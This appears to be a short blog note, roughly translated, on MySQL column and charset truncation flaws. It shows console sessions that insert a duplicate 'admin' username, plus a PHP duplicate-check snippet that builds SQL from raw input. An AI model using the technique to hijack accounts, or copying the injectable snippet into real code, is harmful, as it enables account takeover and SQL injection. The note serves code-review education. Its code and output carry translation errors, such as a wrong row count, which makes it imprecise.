Mysql DATA Truncation

LengF: I read these two points carefully in PHP advanced vulnerability review technology. I will keep a note for the time being.
For many web application files, repeated data is not allowed in many functions, such as the user registration function. The general application compares the username submitted for registration with the existing username in the database to see if there is already repeated data. However, we can repeat these judgments through "Data truncation, when the database is processing, truncation is generated, leading to the insertion of duplicate data.

1) Mysql SQL Column Truncation Vulnerabilities

This vulnerability was discovered by Stefan Esser (Stefan Esser is my idol :)), because when mysql sets SQL _mode to default, that is, when the STRICT_ALL_TABLES option is not enabled, mySQL only prompts the warning message for inserting a very long value, instead of an error (insertion fails if it is an error), which may cause some truncation problems. The test is as follows:

Mysql> insert into truncated_test ('username', 'Password') values ("admin", "pass ");

Mysql> insert into truncated_test ('username', 'Password') values ("admin x", "new_pass ");
Query OK, 1 row affected, 1 warning (0.01 sec)

Mysql> select * from truncated_test;
+ ---- + ------------ + ---------- +
| Id | username | password |
+ ---- + ------------ + ---------- +
| 1 | admin | pass |
| 2 | admin | new_pass |
+ ---- + ------------ + ---------- +
2 rows in set (0.00 sec)

2) Mysql charset Truncation vulnerability

This vulnerability was discovered by 80 sec. when mysql stores and processes utf8 and other data, data is truncated due to certain characters. The test is as follows:

Mysql> insert into truncated_test ('username', 'Password') values (concat ("admin", 0xc1), "new_pass2 ");
Query OK, 1 row affected, 1 warning (0.00 sec)

Mysql> select * from truncated_test; www.2cto.com
+ ---- + ------------ + ---------- +
| Id | username | password |
+ ---- + ------------ + ---------- +
| 1 | admin | pass |
| 2 | admin | new_pass |
| 3 | admin | new_pass2 |
+ ---- + ------------ + ---------- +
2 rows in set (0.00 sec)

Many web applications do not consider these issues, but simply query whether the data contains the same data before data storage. The following code:

$ Result = mysql_query ("SELECT * from test_user where user = '$ user '");
....
If (@ mysql_fetch_array ($ result, MYSQL_NUM )){
Die ("already exist ");
}